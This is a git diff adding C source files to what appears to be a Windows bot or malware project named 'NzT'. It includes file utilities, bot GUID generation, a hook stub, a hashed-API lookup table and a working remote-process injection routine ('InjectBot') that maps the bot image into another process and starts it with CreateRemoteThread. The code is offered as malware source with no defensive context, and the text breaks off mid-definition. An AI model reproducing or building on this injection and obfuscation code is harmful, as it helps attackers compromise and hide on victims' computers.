(!FileOpen(&FileHandle, Path, GENERIC_READ, FILE_OPEN)) + return Status; + + if (!FileGetSize(FileHandle, &FileSize)) + return Status; + + Status = FileRead(FileHandle, Buffer, FileSize, Length); + return Status; +} + +BOOL FileCreateDirectory(CONST LPWSTR Path) +{ + NTSTATUS Status; + IO_STATUS_BLOCK IO; + OBJECT_ATTRIBUTES OA; + UNICODE_STRING US; + HANDLE Handle; + BOOL bStatus = FALSE; + + MemoryZero(&IO, sizeof(IO)); + MemoryZero(&OA, sizeof(OA)); + + OA.Attributes = OBJ_CASE_INSENSITIVE; + OA.Length = sizeof(OA); + API(RtlInitUnicodeString)(&US, Path); + OA.ObjectName = &US; + + Status = API(NtCreateFile)(&Handle, GENERIC_WRITE, &OA, &IO, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_DIRECTORY_FILE, NULL, 0); + + if (NT_SUCCESS(Status)) + { + bStatus = TRUE; + API(NtClose)(Handle); + } + + return bStatus; +} + +BOOL FileDelete(CONST LPWSTR Path) +{ + BOOL Status = FALSE; + OBJECT_ATTRIBUTES OA; + UNICODE_STRING US; + + MemoryZero(&OA, sizeof(OBJECT_ATTRIBUTES)); + + OA.Attributes = OBJ_CASE_INSENSITIVE; + OA.Length = sizeof(OA); + API(RtlInitUnicodeString)(&US, Path); + OA.ObjectName = &US; + + if (API(NtDeleteFile)(&OA) >= 0) + Status = TRUE; + + return Status; +} + +BOOL FileCopy(CONST LPWSTR OriginalPath, CONST LPWSTR NewPath, BOOL DeleteOriginal) +{ + BOOL Status = FALSE; + LPVOID File; + DWORD FileSize; + + if (!FileReadBuffer(OriginalPath, &File, &FileSize)) + return Status; + + if (!FileWriteBuffer(NewPath, File, FileSize, TRUE)) + return Status; + + if (DeleteOriginal) + FileDelete(OriginalPath); + + Free(File); + + return Status; +} + +BOOL IsValidNtPath(const LPWSTR Path) +{ + BOOL Status = FALSE; + LPWSTR Data; + + if ((Data = StringCopyW(Path, 4)) != 0) + { + Status = StringCompareW(Path, L"\\??\\"); + Free(Data); + } + + return Status; +} + +BOOL DosPathToNtPath(LPWSTR* Path) +{ + LPWSTR NtPath = NULL; + + if (IsValidNtPath(*Path)) + return TRUE; + + if (StringConcatW(&NtPath, L"\\??\\") && StringConcatW(&NtPath, *Path)) + { + Free(*Path); + *Path = NtPath; + return TRUE; + } + + if (NtPath != NULL) + Free(NtPath); + + return FALSE; +} \ No newline at end of file diff --git a/src/Shared/file.h b/src/Shared/file.h new file mode 100644 index 0000000..d85e43c --- /dev/null +++ b/src/Shared/file.h @@ -0,0 +1,16 @@ +#ifndef __FILE_H__ +#define __FILE_H__ + +BOOL FileGetInfo(HANDLE FileHandle, PFILE_STANDARD_INFORMATION Info); +BOOL FileGetSize(HANDLE FileHandle, PDWORD FileSize); +BOOL FileOpen(HANDLE* FileHandle, CONST LPWSTR Path, ACCESS_MASK AccessMask, ULONG CreateDisposition); +BOOL FileWrite(HANDLE FileHandle, CONST LPVOID Buffer, DWORD Length); +BOOL FileRead(HANDLE FileHandle, LPVOID* Buffer, DWORD Length, PDWORD ReadLength); +BOOL FileWriteBuffer(CONST LPWSTR Path, CONST LPVOID Buffer, DWORD Length, BOOL Append); +BOOL FileReadBuffer(CONST LPWSTR Path, LPVOID* Buffer, PDWORD Length); +BOOL FileCreateDirectory(const LPWSTR Path); +BOOL FileDelete(CONST LPWSTR Path); +BOOL FileCopy(CONST LPWSTR OriginalPath, CONST LPWSTR NewPath, BOOL DeleteOriginal); +BOOL DosPathToNtPath(LPWSTR* Path); + +#endif \ No newline at end of file diff --git a/src/Shared/guid.c b/src/Shared/guid.c new file mode 100644 index 0000000..5fe955a --- /dev/null +++ b/src/Shared/guid.c @@ -0,0 +1,79 @@ +#include "nzt.h" +#include "guid.h" +#include "crt.h" +#include "utils.h" + +static DWORD GuidRandom(PDWORD Seed) +{ + return(*Seed = 1664525 * (*Seed)); +} + +VOID GuidGenerate( + GUID * Guid, + PDWORD Seed +) +{ + Guid->Data1 = GuidRandom(Seed); + Guid->Data2 = (DWORD)GuidRandom(Seed); + Guid->Data3 = (DWORD)GuidRandom(Seed); + + for (DWORD i = 0; i < 8; i++) + Guid->Data4[i] = (UCHAR)GuidRandom(Seed); +} + +LPTSTR GuidGenerateEx(PDWORD Seed) +{ + ULONG Length = GUID_STR_LENGTH + 1; + LPTSTR GuidString, Name = NULL; + GUID Guid; + + GuidGenerate(&Guid, Seed); + if (GuidString = GuidToString(&Guid)) + { + if (Name = (LPTSTR)Malloc(Length * sizeof(TCHAR))) + { + Name[0] = 0; + StringConcatA(&Name, GuidString); + } + + Free(GuidString); + } + + return (Name); +} + +VOID GuidFillName( + PDWORD Seed, + LPTSTR GuidName +) +{ + GUID Guid; + ULONG Size = 0; + + GuidGenerate(&Guid, Seed); + Size = NzT.Api.pwsprintfA(GuidName, GUID_STR_FORMAT, Guid.Data1, Guid.Data2, Guid.Data3, *(PDWORD)&Guid.Data4[0], *(PDWORD)&Guid.Data4[2], *(PDWORD)&Guid.Data4[6]); +} + +ULONG GuidToBuffer( + GUID* Guid, + LPTSTR Buffer +) +{ + return (NzT.Api.pwsprintfA(Buffer, GUID_STR_FORMAT, htonS(Guid->Data1), htonS(Guid->Data2), htonS(Guid->Data3), htonS(*(PDWORD)&Guid->Data4[0]), + htonL(*(PDWORD)&Guid->Data4[2]), htonS(*(PDWORD)&Guid->Data4[6]))); +} + +LPTSTR GuidToString(GUID *Guid) +{ + LPTSTR String = NULL; + + if (String = (LPTSTR)Malloc((GUID_STR_LENGTH + 1) * sizeof(TCHAR))) + GuidToBuffer(Guid, String); + + return (String); +} + +LPTSTR GetBotGuid() +{ + return GuidGenerateEx(GetSerialNumber()); +} \ No newline at end of file diff --git a/src/Shared/guid.h b/src/Shared/guid.h new file mode 100644 index 0000000..5bf1329 --- /dev/null +++ b/src/Shared/guid.h @@ -0,0 +1,42 @@ +#ifndef _GUID_H_ +#define _GUID_H_ + +/* Defines */ +#define GUID_STR_LENGTH 16*2+4+2 +#define GUID_STR_FORMAT ("%04X%04X%04X%04X%08X%04X") + +/* Structures */ +typedef union _GUID_EX +{ + GUID Guid; + struct + { + DWORD Data1; + DWORD Data2; + DWORD Data3; + DWORD Data4; + }; +}GUID_EX, *PGUID_EX; + +/* Functions */ +VOID GuidGenerate( + GUID* Guid, + PDWORD Seed +); + +VOID GuidFillName( + PDWORD Seed, + LPTSTR GuidName +); + +ULONG GuidToBuffer( + GUID* Guid, + LPTSTR Buffer +); + +LPTSTR GuidToString(GUID *Guid); + +LPTSTR GetBotGuid(); + + +#endif \ No newline at end of file diff --git a/src/Shared/hashes.h b/src/Shared/hashes.h new file mode 100644 index 0000000..f7293d1 --- /dev/null +++ b/src/Shared/hashes.h @@ -0,0 +1,6 @@ +#ifndef __HASHES_H__ +#define __HASHES_H__ + +#define HASH_EXPLORER_EXE 0x095e2844 + +#endif \ No newline at end of file diff --git a/src/Shared/hook.c b/src/Shared/hook.c new file mode 100644 index 0000000..e4ca9cf --- /dev/null +++ b/src/Shared/hook.c @@ -0,0 +1,7 @@ +#include +#include + +#include "hook.h" +#include "crt.h" + + diff --git a/src/Shared/hook.h b/src/Shared/hook.h new file mode 100644 index 0000000..de7f90f --- /dev/null +++ b/src/Shared/hook.h @@ -0,0 +1,21 @@ +#ifndef __HOOK_H__ +#define __HOOK_H__ + + +typedef struct +{ + CHAR* DLL; + CHAR* Name; + LPVOID Proxy; + LPVOID Original; + DWORD Length; +} HOOKS, PHOOKS; + +typedef int (WINAPI *pOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType); + +int HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType); + +BOOL HookFunction(PCHAR DLL, PCHAR Name, LPVOID Proxy, LPVOID Original, PDWORD Length); +BOOL UnhookFunction(PCHAR DLL, PCHAR Name, LPVOID Proxy, LPVOID Original, PDWORD Length); +#endif + diff --git a/src/Shared/injection.c b/src/Shared/injection.c new file mode 100644 index 0000000..8bc365d --- /dev/null +++ b/src/Shared/injection.c @@ -0,0 +1,181 @@ +#include + +#include "nzt.h" +#include "utils.h" + +LPVOID GetImageBase(LPVOID ProcessAddress) +{ + LPBYTE Address = (LPBYTE)ProcessAddress; + Address = (LPBYTE)((SIZE_T)Address & 0xFFFFFFFFFFFF0000); + + for (;;) + { + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Address; + if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + if (DosHeader->e_lfanew < 0x1000) + { + PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)&((unsigned char*)Address)[DosHeader->e_lfanew]; + if (NtHeaders->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + + Address -= 0x1000; + } + + return Address; +} + + +VOID ProcessRelocation(PIMAGE_BASE_RELOCATION Relocation, DWORD ImageBase, DWORD Delta, DWORD Size) +{ + PIMAGE_FIXUP_ENTRY Fixup; + DWORD PointerRva; + PIMAGE_BASE_RELOCATION LocalRelocation = Relocation; + + while ((DWORD)LocalRelocation - (DWORD)Relocation < Size) + { + if (!LocalRelocation->SizeOfBlock) + break; + + Fixup = (PIMAGE_FIXUP_ENTRY)((ULONG)LocalRelocation + sizeof(IMAGE_BASE_RELOCATION)); + for (ULONG r = 0; r < (LocalRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r++) + { + PointerRva = LocalRelocation->VirtualAddress + Fixup->Offset; + if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW) + *(PULONG)((ULONG)ImageBase + PointerRva) += Delta; + + Fixup++; + } + + LocalRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)LocalRelocation + LocalRelocation->SizeOfBlock); + } + + return; +} + +LPVOID InjectData( + HANDLE Process, + LPVOID Data, + DWORD Size +) +{ + LPVOID Address; + + if ((Address = NzT.Api.pVirtualAllocEx(Process, NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) + return NULL; + + if (!NzT.Api.pWriteProcessMemory(Process, Address, Data, Size, NULL)) + { + NzT.Api.pVirtualFreeEx(Process, Address, Size, MEM_RELEASE); + return NULL; + } + + return Address; +} + +DWORD InjectCode( + HANDLE Process, + LPVOID Function +) +{ + HANDLE Map, RemoteThread, Mutex, RemoteMutex; + DWORD Base, Size, ViewSize, NewBaseAddress, Address, ProcessId; + LPVOID View; + NTSTATUS Status; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS NtHeaders; + ULONG RelativeRva, RelativeSize; + + do + { + Map = 0; + RemoteThread = 0; + View = NULL; + Mutex = 0; + RemoteMutex = 0; + + if ((ProcessId = GetProcessIdByHandle(Process)) == -1) + break; + + if ((Mutex = CreateMutexOfProcess(ProcessId)) == 0) + break; + + if (!API(DuplicateHandle)(API(GetCurrentProcess)(), Mutex, Process, &RemoteMutex, 0, FALSE, DUPLICATE_SAME_ACCESS)) + break; + + Base = (DWORD)GetImageBase(Function); + Size = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((PBYTE)(Base)+((PIMAGE_DOS_HEADER) + (Base))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; + + if ((Map = API(CreateFileMappingW)(NzT.Api.pGetCurrentProcess() + , NULL, PAGE_EXECUTE_READWRITE, 0, Size, NULL)) == 0) + break; + + if ((View = API(MapViewOfFile)(Map, FILE_MAP_WRITE, 0, 0, 0)) == NULL) + break; + + MemoryCopy(View, (LPVOID)Base, Size); + + ViewSize = 0; + NewBaseAddress = 0; + + if ((Status = (NTSTATUS)API(NtMapViewOfSection)(Map, Process, (PVOID*)&NewBaseAddress, 0, Size, + NULL, &ViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) + break; + + DosHeader = (PIMAGE_DOS_HEADER)Base; + NtHeaders = NtHeaders = (PIMAGE_NT_HEADERS)RVATOVA(Base, DosHeader->e_lfanew); + + RelativeRva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + RelativeSize = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + + ProcessRelocation((PIMAGE_BASE_RELOCATION)(Base + RelativeRva), (DWORD)View, NewBaseAddress - Base, RelativeSize); + + Address = (DWORD)Function - Base + NewBaseAddress; + } while (FALSE); + + if (Mutex != 0) + API(CloseHandle)(Mutex); + + if (Map != 0) + API(CloseHandle)(Map); + + if (RemoteThread != 0) + API(CloseHandle)(RemoteThread); + + if (View != NULL) + API(UnmapViewOfFile)(View); + + return Address; +} + +BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread) +{ + DWORD Address; + HANDLE RemoteThread, Process; + BOOL Injected = FALSE; + + if ((Process = NzT.Api.pOpenProcess(PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ | + PROCESS_CREATE_THREAD | + PROCESS_DUP_HANDLE + , FALSE, ProcessId)) == 0) + return FALSE; + + if ((Address = InjectCode(Process, Thread)) == 0) + return FALSE; + + if ((RemoteThread = NzT.Api.pCreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL)) != 0) + { + NzT.Api.pCloseHandle(RemoteThread); + Injected = TRUE; + } + + NzT.Api.pCloseHandle(Process); + + return Injected; +} \ No newline at end of file diff --git a/src/Shared/injection.h b/src/Shared/injection.h new file mode 100644 index 0000000..27e39e9 --- /dev/null +++ b/src/Shared/injection.h @@ -0,0 +1,6 @@ +#ifndef __INJECTION_H__ +#define __INJECTION_H__ + +BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread); + +#endif //__INJECTION_H__ \ No newline at end of file diff --git a/src/Shared/kernel32_functions.h b/src/Shared/kernel32_functions.h new file mode 100644 index 0000000..4a98294 --- /dev/null +++ b/src/Shared/kernel32_functions.h @@ -0,0 +1,396 @@ +#ifndef __KERNEL32_FUNCTIONS_H__ +#define __KERNEL32_FUNCTIONS_H__ + +#include +#include + +typedef LPVOID(WINAPI* ptVirtualAlloc)( + _In_opt_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flAllocationType, + _In_ DWORD flProtect + ); + +typedef HANDLE(WINAPI* ptOpenProcess)( + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ DWORD dwProcessId + ); + +typedef BOOL(WINAPI* ptProcess32FirstW)( + _In_ HANDLE hSnapshot, + _Out_ LPPROCESSENTRY32W lppe + ); + +typedef BOOL(WINAPI* ptProcess32NextW)( + _In_ HANDLE hSnapshot, + _Out_ LPPROCESSENTRY32W lppe + ); + +typedef BOOL(WINAPI* ptWriteProcessMemory)( + _In_ HANDLE hProcess, + _In_ LPVOID lpBaseAddress, + _In_ LPCVOID lpBuffer, + _In_ SIZE_T nSize, + _Out_ SIZE_T *lpNumberOfBytesWritten + ); + +typedef LPVOID(WINAPI* ptVirtualAllocEx)( + _In_ HANDLE hProcess, + _In_opt_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flAllocationType, + _In_ DWORD flProtect + ); + +typedef BOOL(WINAPI* ptVirtualFree)( + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD dwFreeType + ); + +typedef BOOL(WINAPI* ptVirtualFreeEx)( + _In_ HANDLE hProcess, + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD dwFreeType + ); + +typedef BOOL(WINAPI* ptSetThreadContext)( + _In_ HANDLE hThread, + _In_ const CONTEXT *lpContext + ); + +typedef HANDLE(WINAPI* ptCreateRemoteThread)( + _In_ HANDLE hProcess, + _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ SIZE_T dwStackSize, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_ LPVOID lpParameter, + _In_ DWORD dwCreationFlags, + _Out_ LPDWORD lpThreadId + ); + +typedef BOOL(WINAPI* ptCloseHandle)( + _In_ HANDLE hObject + ); + +typedef HANDLE(WINAPI* ptCreateToolhelp32Snapshot)( + _In_ DWORD dwFlags, + _In_ DWORD th32ProcessID + ); + +typedef BOOL(WINAPI* ptCreateProcessW)( + _In_opt_ LPCWSTR lpApplicationName, + _Inout_opt_ LPWSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCWSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOW lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation + ); + +typedef BOOL(WINAPI* ptVirtualProtect)( + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flNewProtect, + _Out_ PDWORD lpflOldProtect + ); + +typedef VOID(WINAPI* ptExitProcess)( + _In_ UINT uExitCode + ); + +typedef DWORD(WINAPI* ptGetModuleFileNameW)( + _In_opt_ HMODULE hModule, + _Out_writes_to_(nSize, ((return < nSize) ? (return +1) : nSize)) LPWSTR lpFilename, + _In_ DWORD nSize + ); + +typedef BOOL(WINAPI* ptDeleteFileW)( + _In_ LPCWSTR lpFileName + ); + +typedef VOID(WINAPI* ptSleep)( + _In_ DWORD dwMilliseconds + ); + +typedef HMODULE(WINAPI* ptLoadLibraryW)( + _In_ LPCWSTR lpLibFileName + ); + +typedef BOOL(WINAPI* ptIsWow64Process)( + _In_ HANDLE hProcess, + _Out_ PBOOL Wow64Process + ); + +typedef DWORD(WINAPI* ptGetCurrentProcessId)(VOID); + +typedef UINT(WINAPI* ptGetWindowsDirectoryW)( + _Out_writes_to_opt_(uSize, return +1) LPWSTR lpBuffer, + _In_ UINT uSize + ); + +typedef DWORD(WINAPI* ptResumeThread)( + _In_ HANDLE hThread + ); + +typedef DWORD(WINAPI* ptQueueUserAPC)( + _In_ PAPCFUNC pfnAPC, + _In_ HANDLE hThread, + _In_ ULONG_PTR dwData + ); + +typedef UINT(WINAPI* ptGetSystemDirectoryW)( + _Out_writes_to_opt_(uSize, return +1) LPWSTR lpBuffer, + _In_ UINT uSize + ); + +typedef HANDLE(WINAPI* ptFindFirstFileW)( + _In_ LPCWSTR lpFileName, + _Out_ LPWIN32_FIND_DATAW lpFindFileData + ); + +typedef BOOL(WINAPI* ptFindNextFileW)( + _In_ HANDLE hFindFile, + _Out_ LPWIN32_FIND_DATAW lpFindFileData + ); + +typedef HANDLE(WINAPI* ptCreateThread)( + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ SIZE_T dwStackSize, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_opt_ __drv_aliasesMem LPVOID lpParameter, + _In_ DWORD dwCreationFlags, + _Out_opt_ LPDWORD lpThreadId + ); + +typedef HANDLE(WINAPI* ptCreateFileW)( + _In_ LPCWSTR lpFileName, + _In_ DWORD dwDesiredAccess, + _In_ DWORD dwShareMode, + _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, + _In_ DWORD dwCreationDisposition, + _In_ DWORD dwFlagsAndAttributes, + _In_opt_ HANDLE hTemplateFile + ); + +typedef BOOL(WINAPI* ptWriteFile)( + _In_ HANDLE hFile, + _In_reads_bytes_opt_(nNumberOfBytesToWrite) LPCVOID lpBuffer, + _In_ DWORD nNumberOfBytesToWrite, + _Out_opt_ LPDWORD lpNumberOfBytesWritten, + _Inout_opt_ LPOVERLAPPED lpOverlapped + ); + +typedef BOOL(WINAPI* ptReadFile)( + _In_ HANDLE hFile, + _Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer, + _In_ DWORD nNumberOfBytesToRead, + _Out_opt_ LPDWORD lpNumberOfBytesRead, + _Inout_opt_ LPOVERLAPPED lpOverlapped + ); + +typedef DWORD(WINAPI* ptGetFileSize)( + _In_ HANDLE hFile, + _Out_opt_ LPDWORD lpFileSizeHigh + ); + +typedef BOOL(WINAPI* ptGetVersionExW)( + _Inout_ LPOSVERSIONINFOW lpVersionInformation + ); + +typedef HANDLE(WINAPI* ptFindFirstVolumeW)( + _Out_writes_(cchBufferLength) LPWSTR lpszVolumeName, + _In_ DWORD cchBufferLength + ); + +typedef BOOL(WINAPI* ptGetVolumeInformationW)( + _In_opt_ LPCWSTR lpRootPathName, + _Out_writes_opt_(nVolumeNameSize) LPWSTR lpVolumeNameBuffer, + _In_ DWORD nVolumeNameSize, + _Out_opt_ LPDWORD lpVolumeSerialNumber, + _Out_opt_ LPDWORD lpMaximumComponentLength, + _Out_opt_ LPDWORD lpFileSystemFlags, + _Out_writes_opt_(nFileSystemNameSize) LPWSTR lpFileSystemNameBuffer, + _In_ DWORD nFileSystemNameSize + ); + +typedef BOOL(WINAPI* ptFindVolumeClose)( + _In_ HANDLE hFindVolume + ); + +typedef int (WINAPI* ptwsprintfA)( + _Out_ LPSTR, + _In_ _Printf_format_string_ LPCSTR, + ...); + +typedef int (WINAPI* ptMultiByteToWideChar)( + _In_ UINT CodePage, + _In_ DWORD dwFlags, + _In_ LPCSTR lpMultiByteStr, + _In_ int cbMultiByte, + _Out_opt_ LPWSTR lpWideCharStr, + _In_ int cchWideChar + ); + +typedef HMODULE(WINAPI* ptGetModuleHandleW)( + _In_opt_ LPCWSTR lpModuleName + ); + +typedef BOOL(WINAPI* ptFlushInstructionCache)( + __in HANDLE hProcess, + __in_bcount_opt(dwSize) LPCVOID lpBaseAddress, + __in SIZE_T dwSize + ); + +typedef HANDLE(WINAPI* ptGetProcessHeap)(VOID); +typedef LPVOID(WINAPI* ptHeapAlloc)( + _In_ HANDLE hHeap, + _In_ DWORD dwFlags, + _In_ SIZE_T dwBytes + ); +typedef BOOL(WINAPI* ptHeapFree)( + _Inout_ HANDLE hHeap, + _In_ DWORD dwFlags, + LPVOID lpMem + ); + +typedef HANDLE(WINAPI* ptGetCurrentProcess)( + VOID + ); + +typedef BOOL(WINAPI* ptThread32First)( + HANDLE hSnapshot, + LPTHREADENTRY32 lpte + ); + +typedef BOOL(WINAPI* ptThread32Next)( + HANDLE hSnapshot, + LPTHREADENTRY32 lpte + ); + +typedef HANDLE(WINAPI* ptOpenMutexW)( + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ LPCWSTR lpName + ); + +typedef BOOL(WINAPI* ptReleaseMutex)( + _In_ HANDLE hMutex + ); + +typedef HANDLE(WINAPI* ptCreateMutexW)( + _In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes, + _In_ BOOL bInitialOwner, + _In_opt_ LPCWSTR lpName + ); + +typedef SIZE_T(WINAPI* ptVirtualQuery)( + __in_opt LPCVOID lpAddress, + __out_bcount_part(dwLength, return) PMEMORY_BASIC_INFORMATION lpBuffer, + __in SIZE_T dwLength + ); + +typedef HANDLE(WINAPI* ptCreateFileMappingW)( + _In_ HANDLE hFile, + _In_opt_ LPSECURITY_ATTRIBUTES lpFileMappingAttributes, + _In_ DWORD flProtect, + _In_ DWORD dwMaximumSizeHigh, + _In_ DWORD dwMaximumSizeLow, + _In_opt_ LPCWSTR lpName + ); + +typedef LPVOID(WINAPI* ptMapViewOfFile)( + _In_ HANDLE hFileMappingObject, + _In_ DWORD dwDesiredAccess, + _In_ DWORD dwFileOffsetHigh, + _In_ DWORD dwFileOffsetLow, + _In_ SIZE_T dwNumberOfBytesToMap + ); + +typedef BOOL(WINAPI* ptUnmapViewOfFile)( + _In_ LPCVOID lpBaseAddress + ); + +typedef BOOL(WINAPI* ptDuplicateHandle)( + _In_ HANDLE hSourceProcessHandle, + _In_ HANDLE hSourceHandle, + _In_ HANDLE hTargetProcessHandle, + _Outptr_ LPHANDLE lpTargetHandle, + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ DWORD dwOptions + ); + +typedef HANDLE(WINAPI* ptGetCurrentThread)(VOID); +typedef BOOL(WINAPI* ptFlushFileBuffers)(HANDLE hFile); +typedef BOOL(WINAPI* ptDisconnectNamedPipe)(HANDLE hNamedPipe); +typedef FARPROC(WINAPI* ptGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); +typedef void (WINAPI* ptRtlInitializeCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection); +typedef void (WINAPI* ptRtlEnterCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection); +typedef void (WINAPI* ptRtlLeaveCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection); + +typedef int (WINAPI* ptWideCharToMultiByte)( + UINT CodePage, + DWORD dwFlags, + LPCWSTR lpWideCharStr, + int cchWideChar, + LPSTR lpMultiByteStr, + int cbMultiByte, + LPCSTR lpDefaultChar, + LPBOOL lpUsedDefaultChar); + +typedef BOOL(WINAPI* ptTerminateThread)( + _Inout_ HANDLE hThread, + _In_ DWORD dwExitCode +); + +typedef DWORD(WINAPI* ptGetTickCount)(VOID); + +typedef void (WINAPI* ptOutputDebugStringA)( + LPCSTR lpOutputString +); + +typedef void (WINAPI* ptOutputDebugStringW)( + LPCWSTR lpOutputString +); + +typedef DWORD(WINAPI* ptGetLastError)(); + +typedef HANDLE(WINAPI* ptCreateEventA)( + _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, + _In_ BOOL bManualReset, + _In_ BOOL bInitialState, + _In_opt_ LPCSTR lpName + ); + +typedef HANDLE(WINAPI* ptCreateEventW)( + _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, + _In_ BOOL bManualReset, + _In_ BOOL bInitialState, + _In_opt_ LPCWSTR lpName + ); + +typedef BOOL(WINAPI* ptSetEvent)( + _In_ HANDLE hEvent +); + +typedef HANDLE(WINAPI* ptOpenEventA)( + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ LPCSTR lpName +); + +typedef HANDLE(WINAPI* ptOpenEventW)( + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ LPCWSTR lpName +); + + + +#endif __KERNEL32_FUNCTIONS_H__ \ No newline at end of file diff --git a/src/Shared/kernel32_hash.h b/src/Shared/kernel32_hash.h new file mode 100644 index 0000000..24e7d8b --- /dev/null +++ b/src/Shared/kernel32_hash.h @@ -0,0 +1,96 @@ +#ifndef __KERNEL32_HASH_H__ +#define __KERNEL32_HASH_H__ + +#define HASH_KERNEL32 0x2eca438c +#define HASH_KERNEL32_VIRTUALALLOC 0x09ce0d4a +#define HASH_KERNEL32_VIRTUALFREE 0xcd53f5dd +#define HASH_KERNEL32_GETMODULEFILENAMEW 0xfc6b42f1 +#define HASH_KERNEL32_ISWOW64PROCESS 0x2e50340b +#define HASH_KERNEL32_CREATETOOLHELP32SNAPSHOT 0xc1f3b876 +#define HASH_KERNEL32_PROCESS32FIRSTW 0x8197004c +#define HASH_KERNEL32_PROCESS32NEXTW 0xbc6b67bf +#define HASH_KERNEL32_CLOSEHANDLE 0xb09315f4 +#define HASH_KERNEL32_OPENPROCESS 0xdf27514b +#define HASH_KERNEL32_GETVERSIONEXW 0x2b53c31b +#define HASH_KERNEL32_FINDFIRSTFILEW 0x3d3f609f +#define HASH_KERNEL32_FINDNEXTFILEW 0x81f39c19 +#define HASH_KERNEL32_GETSYSTEMDIRECTORYW 0x72641c0b +#define HASH_KERNEL32_CREATETHREAD 0x906a06b0 +#define HASH_KERNEL32_CREATEREMOTETHREAD 0xff808c10 +#define HASH_KERNEL32_WRITEPROCESSMEMORY 0x4f58972e +#define HASH_KERNEL32_SLEEP 0xcef2eda8 +#define HASH_KERNEL32_LOADLIBRARYW 0xcb1508dc +#define HASH_KERNEL32_VIRTUALALLOCEX 0xe62e824d +#define HASH_KERNEL32_VIRTUALFREEEX 0x6b482023 +#define HASH_KERNEL32_FLUSHINSTRUCTIONCACHE 0xe9258e7a +#define HASH_KERNEL32_VIRTUALPROTECT 0x10066f2f +#define HASH_KERNEL32_GETCURRENTPROCESSID 0x1db413e3 +#define HASH_KERNEL32_CREATEMUTEXW 0x2d789102 +#define HASH_KERNEL32_OPENMUTEXW 0x0546114d +#define HASH_KERNEL32_RELEASEMUTEX 0x27ef86df +#define HASH_KERNEL32_GETVOLUMEINFORMATIONW 0xd52d474a +#define HASH_KERNEL32_FINDFIRSTVOLUMEW 0xdf55cbf2 +#define HASH_KERNEL32_FINDVOLUMECLOSE 0x8aa21257 +#define HASH_KERNEL32_GETLASTERROR 0xd2e536b7 +#define HASH_KERNEL32_OUTPUTDEBUGSTRINGA 0x2b0b47a5 +#define HASH_KERNEL32_OUTPUTDEBUGSTRINGW 0xdfdff2f4 +#define HASH_KERNEL32_CREATEFILEW 0xa1efe929 +#define HASH_KERNEL32_WRITEFILE 0xcce95612 +#define HASH_KERNEL32_WIDECHARTOMULTIBYTE 0x9a80e589 +#define HASH_KERNEL32_MODULE32FIRSTW 0x2735a2c6 +#define HASH_KERNEL32_MODULE32NEXTW 0xa29e8a1a +#define HASH_KERNEL32_CREATEPROCESSINTERNALW 0x7536a662 +#define HASH_KERNEL32_RESUMETHREAD 0x3872beb9 +#define HASH_KERNEL32_THREAD32FIRST 0x238b3114 +#define HASH_KERNEL32_THREAD32NEXT 0xf5197707 +#define HASH_KERNEL32_EXITPROCESS 0x251097cc +#define HASH_KERNEL32_DELETEFILEW 0x654fde9a +#define HASH_KERNEL32_SETTHREADCONTEXT 0x5688cbd8 +#define 